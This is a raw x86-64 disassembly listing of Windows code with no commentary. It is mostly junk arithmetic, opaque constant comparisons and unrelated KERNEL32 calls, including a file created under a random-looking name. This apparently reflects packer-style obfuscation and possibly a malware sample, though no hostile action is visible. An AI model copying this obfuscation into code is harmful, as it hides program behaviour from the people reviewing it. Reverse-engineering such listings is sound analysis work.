cmp dword [rsp + 0x7f50], 0xc3f5
jbe 0x14001e76a
lea rax, [0x14023c3a0]
mov qword [rsp + 0x107d0], rax
movsx eax, byte [rsp + 0x514]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50e], al
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10588]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov dword [rsp + 0x8080], eax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x777c], eax
mov rax, qword [0x1402815a8]
mov rcx, qword [rsp + 0x104b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10578]
mov rdx, qword [rsp + 0x10740]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14001ef36
movzx eax, word [rsp + 0x27b4]
mov dword [rsp + 0x8084], eax
cmp dword [rsp + 0x8084], 0x406
je 0x14001ee07
cmp dword [rsp + 0x8084], 0xd91
je 0x14001eeb0
jmp 0x14001ef31
movzx eax, byte [rsp + 0x511]
movzx ecx, byte [rsp + 0x2fc]
shl eax, cl
mov rcx, qword [0x140281590]
mov byte [rcx], al
mov rax, qword [0x1402815c8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x413]
mov rax, qword [0x1402815c8]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x413]
mov rax, qword [0x1402815c8]
movzx ecx, byte [rax]
call fcn.1401f23c0
mov edx, 0x16
mov rcx, qword [rsp + 0x10568]
call qword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov dword [rsp + 0x8020], eax
movsx eax, word [rsp + 0x27fc]
movsx ecx, word [rsp + 0x27ec]
sub eax, ecx
mov word [rsp + 0x2800], ax
movzx eax, byte [rsp + 0x513]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2fc], al
jmp 0x14001ef31
mov rax, qword [0x140281598]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27cc], ax
lea r9, [rsp + 0x514]
mov r8d, 0xf1
lea rdx, [rsp + 0x10758]
mov rcx, qword [rsp + 0x10598]
call qword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
mov dword [rsp + 0x7ffc], eax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27c0]
sub eax, ecx
mov word [rsp + 0x27dc], ax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7f00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f88], eax
jmp 0x14001f076
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
xor eax, ecx
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
mov dword [rsp + 0x8088], ecx
mov rdx, qword [rsp + 0x107d0]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x8088]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14001f076
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10698], rax
mov eax, dword [rsp + 0x7fec]
mov ecx, dword [0x1402815b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
call fcn.1401f2020
mov dword [rsp + 0x20], 0xb0
mov r9d, 0xce
mov r8d, 0x2e
mov edx, 0x27
mov rcx, qword [rsp + 0x10638]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x808c], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd720], rax
movsx eax, word [rsp + 0x2800]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14023c3a8], ax
movzx eax, word [rsp + 0x11a8]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e88], ax
movzx eax, byte [rsp + 0x405]
movzx ecx, byte [rsp + 0x48d]
shl eax, cl
mov byte [rsp + 0x2c4], al
movsx eax, byte [rsp + 0x514]
movsx ecx, byte [rsp + 0x512]
xor eax, ecx
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov qword [rsp + 0x107d8], rax
cmp qword [rsp + 0x107d8], 0
je 0x14001f096
jmp 0x14001f107
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10670]
sar rax, cl
mov qword [rsp + 0xfaa0], rax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x800c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8078], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10718], rax
mov eax, dword [rsp + 0x7f00]
mov dword [rsp + 0x8090], eax
jmp 0x14001f207
xor edx, edx
mov rcx, qword [rsp + 0x105b0]
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
mov dword [rsp + 0x808c], eax
movsx eax, word [rsp + 0x2084]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27dc], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x510]
and eax, ecx
mov byte [0x14023c039], al
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x10658]
mov word [rcx], ax
mov rax, qword [rsp + 0x10740]
mov rcx, qword [rsp + 0x104b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10730], rax
lea rax, [rsp + 0x104a0]
mov qword [rsp + 0x20], rax
mov r9d, 0x3d
lea r8, [rsp + 0x513]
mov edx, 0xbe
mov rcx, qword [rsp + 0x107e0]
call qword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
mov dword [rsp + 0x808c], eax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd720], rax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x27b8]
add eax, ecx
mov word [rsp + 0x27d0], ax
mov rax, qword [rsp + 0x10548]
mov rcx, qword [rsp + 0x10718]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0x10758]
mov eax, dword [rax]
mov dword [rsp + 0x8094], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x68f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f88], eax
mov eax, dword [0x14023c390]
mov dword [rsp + 0x8098], eax
cmp dword [rsp + 0x8098], 0xd7e84cfe
je 0x14001f26f
jmp 0x1401f15b0
mov rax, qword [0x14023c380]
mov qword [rsp + 0x107e8], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50e]
shl eax, cl
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [0x140281598]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x11a8], ax
movzx eax, byte [rsp + 0x510]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x104a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x105e8], rax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov dword [rsp + 0x809c], eax
mov rax, qword [rsp + 0x10670]
mov qword [rsp + 0x107f0], rax
movabs rax, 0x7271388b6a72a9
cmp qword [rsp + 0x107f0], rax
je 0x14001f344
movabs rax, 0x7ebf7bb32f1a08
cmp qword [rsp + 0x107f0], rax
je 0x14001f402
jmp 0x14001f479
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f88]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rcx, qword [rsp + 0x10568]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [rsp + 0x8020], eax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27d4]
add eax, ecx
mov word [rsp + 0x27fc], ax
movzx eax, word [rsp + 0x11a8]
movzx ecx, word [rsp + 0x27b8]
sub eax, ecx
mov rcx, qword [0x1402815b8]
mov word [rcx], ax
movsx eax, word [rsp + 0x27fc]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2084], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2fc]
add eax, ecx
mov byte [rsp + 0x50f], al
xor edx, edx
mov ecx, 0x93
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov dword [rsp + 0x8094], eax
call fcn.1401f2280
jmp 0x14001f479
mov rax, qword [rsp + 0x10670]
mov rcx, qword [rsp + 0x10730]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10740], rax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10740]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7fcc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7368], eax
mov eax, dword [rsp + 0x7f3c]
mov rcx, qword [rsp + 0x10608]
mov qword [rsp + 0x107f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x107f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7ddc], eax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e88]
xor eax, ecx
mov word [rsp + 0x27b8], ax
movsx eax, word [rsp + 0x27d4]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14023c3a8], ax
movsx eax, byte [rsp + 0x413]
movsx ecx, byte [rsp + 0xd9]
sar eax, cl
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x107b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2c4], al
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x10578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x106b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x10758]
mov rcx, qword [rsp + 0x10650]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8050]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x104e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10718], rax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [0x14023c378]
add eax, ecx
mov word [rsp + 0x27d8], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402815a0], al
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10730]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x106b8], rax
mov eax, dword [rsp + 0x807c]
sub eax, 0xfd
mov dword [rsp + 0x807c], eax
movzx eax, word [0x1402815d0]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e88], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2fc]
xor eax, ecx
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27d4]
sar eax, cl
mov word [rsp + 0x27dc], ax
movzx ecx, word [rsp + 0x27e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2810], ax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8090]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd1b0]
shl rax, cl
mov qword [rsp + 0xda68], rax
mov rax, qword [rsp + 0x10608]
mov rcx, qword [rsp + 0x10650]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ef]
add eax, ecx
mov byte [rsp + 0x50e], al
movzx eax, word [0x14023c3a0]
movzx ecx, word [rsp + 0x11a8]
sub eax, ecx
mov word [rsp + 0x1e88], ax
movzx eax, byte [rsp + 0x2c4]
movzx ecx, byte [rsp + 0x513]
add eax, ecx
mov byte [0x14023c03a], al
lea rdx, [rsp + 0x25090]
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x80a0], eax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27d8]
add eax, ecx
mov word [rsp + 0x27fc], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10730]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x6a58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x106c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10718], rax
cmp dword [rsp + 0x807c], 0x17e2
jae 0x14001f4a6
movsx eax, word [rsp + 0x1fe8]
mov dword [rsp + 0x80a4], eax
cmp dword [rsp + 0x80a4], 0x5e25
je 0x14001f838
jmp 0x1401f14f6
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x107e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10578], rax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov byte [rsp + 0x516], al
movzx ecx, word [rsp + 0x27f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2814], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x104c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x8044], eax
mov r9d, 1
lea r8, [rsp + 0x10800]
mov rdx, qword [rsp + 0x10800]
mov rcx, qword [rsp + 0x106d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x80a0], eax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7f38]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8090], eax
lea rax, [rsp + 0x106c0]
mov qword [rsp + 0x10808], rax
mov rax, qword [rsp + 0xda68]
mov rcx, qword [rsp + 0x105e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x104a0]
mov rdx, qword [rsp + 0x10698]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1401f13b4
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a8], eax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov word [rsp + 0x27d8], ax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14023c03a], al
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov qword [rsp + 0x10810], rax
mov rax, qword [rsp + 0x10640]
mov rcx, qword [rsp + 0x106b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10810], rax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov qword [rsp + 0x10818], rax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd9]
sub eax, ecx
movsx ecx, byte [rsp + 0x413]
movsx edx, byte [0x14023c038]
add ecx, edx
cmp eax, ecx
jl 0x1401f118a
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [rsp + 0x27dc]
add eax, ecx
mov word [0x14023c3a8], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x107b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfe], al
movzx eax, byte [rsp + 0x405]
movzx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x104f0]
movzx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jl 0x1401f0ffb
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xfaa0], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xea48], rax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2fc]
add eax, ecx
mov byte [rsp + 0x515], al
mov rax, qword [rsp + 0x105e8]
mov qword [rsp + 0x10820], rax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7fc4]
sar eax, cl
mov dword [rsp + 0x8080], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f94], eax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov dword [rsp + 0x80a8], eax
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f2c], eax
movzx eax, word [rsp + 0x27e8]
mov rcx, qword [0x140281598]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e88], ax
movzx eax, word [rsp + 0x112c]
mov word [0x14028158a], ax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0xea48]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x10670], rax
movsx eax, byte [rsp + 0x512]
movsx ecx, byte [rsp + 0x413]
xor eax, ecx
mov byte [rsp + 0x7c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x7fc4]
mov ecx, dword [rsp + 0x7f54]
and ecx, eax
mov eax, ecx
mov ecx, dword [0x14023c398]
mov edx, dword [rsp + 0x78c0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14001fc3c
movzx eax, word [0x14023c3a0]
movzx ecx, word [rsp + 0x27d0]
sub eax, ecx
mov word [rsp + 0x27b4], ax
movzx eax, word [rsp + 0x27ec]
mov word [rsp + 0x2818], ax
imul eax, dword [rsp + 0x7fec], 0x20c4
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x10528]
mov rcx, qword [rsp + 0x106c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xda68], rax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov dword [rsp + 0x80ac], eax
jmp 0x14001fd2b
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x510], al
lea r9, [rsp + 0x10828]
lea r8, [rsp + 0x10710]
mov rdx, qword [rsp + 0x105c0]
lea rcx, [rsp + 0x10710]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x7f48], eax
movzx eax, byte [0x14023c038]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0xd9]
movzx r8d, byte [rsp + 0x514]
movzx edx, byte [rsp + 0x512]
mov rax, qword [0x1402815c8]
movzx ecx, byte [rax]
call fcn.1401f23c0
movzx eax, byte [rsp + 0x513]
movzx ecx, byte [rsp + 0x2fc]
add eax, ecx
mov byte [0x14023c03a], al
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e88]
sub eax, ecx
mov word [rsp + 0x11a8], ax
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x27d8]
sub eax, ecx
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xfaa0]
shl rax, cl
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x104a8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f08], eax
mov eax, dword [rsp + 0x7fec]
mov dword [rsp + 0x80b0], eax
lea rdx, [rsp + 0x10770]
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x80b4], eax
mov rax, qword [rsp + 0x10808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10528]
mov qword [rsp + 0x10830], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10830]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x106c0], rax
mov eax, dword [0x14023c398]
mov ecx, dword [rsp + 0x7f54]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8080], eax
movsx eax, word [rsp + 0x2800]
movsx ecx, word [rsp + 0x27dc]
and eax, ecx
mov word [rsp + 0x18a8], ax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e88]
imul eax, ecx
mov word [0x1402815d0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rdx, [rsp + 0x10838]
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7f24], eax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0x413], al
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov byte [rsp + 0x517], al
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11a8], ax
mov r9d, 2
lea r8, [rsp + 0x104e0]
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x7f20], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov dword [rsp + 0x80b8], eax
lea rax, [rsp + 0xda68]
mov qword [rsp + 0x10840], rax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov ecx, dword [0x14023c390]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8014], eax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2fc]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14023c3ac], ax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x104b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x106a8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x8044], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.SPrNMuw4x7EREL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10848], rax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov byte [rsp + 0x518], al
mov edx, 0x80b
mov rcx, qword [rsp + 0x10790]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb8]
sub eax, ecx
mov word [rsp + 0x2084], ax
mov rax, qword [rsp + 0x107d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
add eax, ecx
mov word [rsp + 0x27b8], ax
lea rcx, [rsp + 0x27110]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x80bc], eax
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x7fa0], eax
lea rax, [rsp + 0x7368]
mov qword [rsp + 0x10850], rax
movzx ecx, word [rsp + 0x27c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27e0], ax
lea rax, [rsp + 0xda68]
mov qword [rsp + 0x10858], rax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8094]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8078], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0xd9]
mov byte [rsp + 0x519], al
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27b8]
or eax, ecx
mov word [0x14023c3b0], ax
lea rax, [rsp + 0x1fe8]
mov qword [rsp + 0x10860], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10818]
sar rax, cl
mov qword [rsp + 0xd720], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10670]
shl rax, cl
mov qword [rsp + 0x10070], rax
mov rax, qword [rsp + 0x10720]
mov ecx, dword [rsp + 0x7f00]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov dword [rsp + 0x80c0], eax
mov rax, qword [rsp + 0x104a0]
mov rcx, qword [rsp + 0x10588]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [0x14023c039]
add eax, ecx
mov byte [rsp + 0x48d], al
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov word [rsp + 0x281c], ax
movsx eax, word [rsp + 0x27d4]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402815c2], ax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10670]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10508], rax
mov rax, qword [rsp + 0x10538]
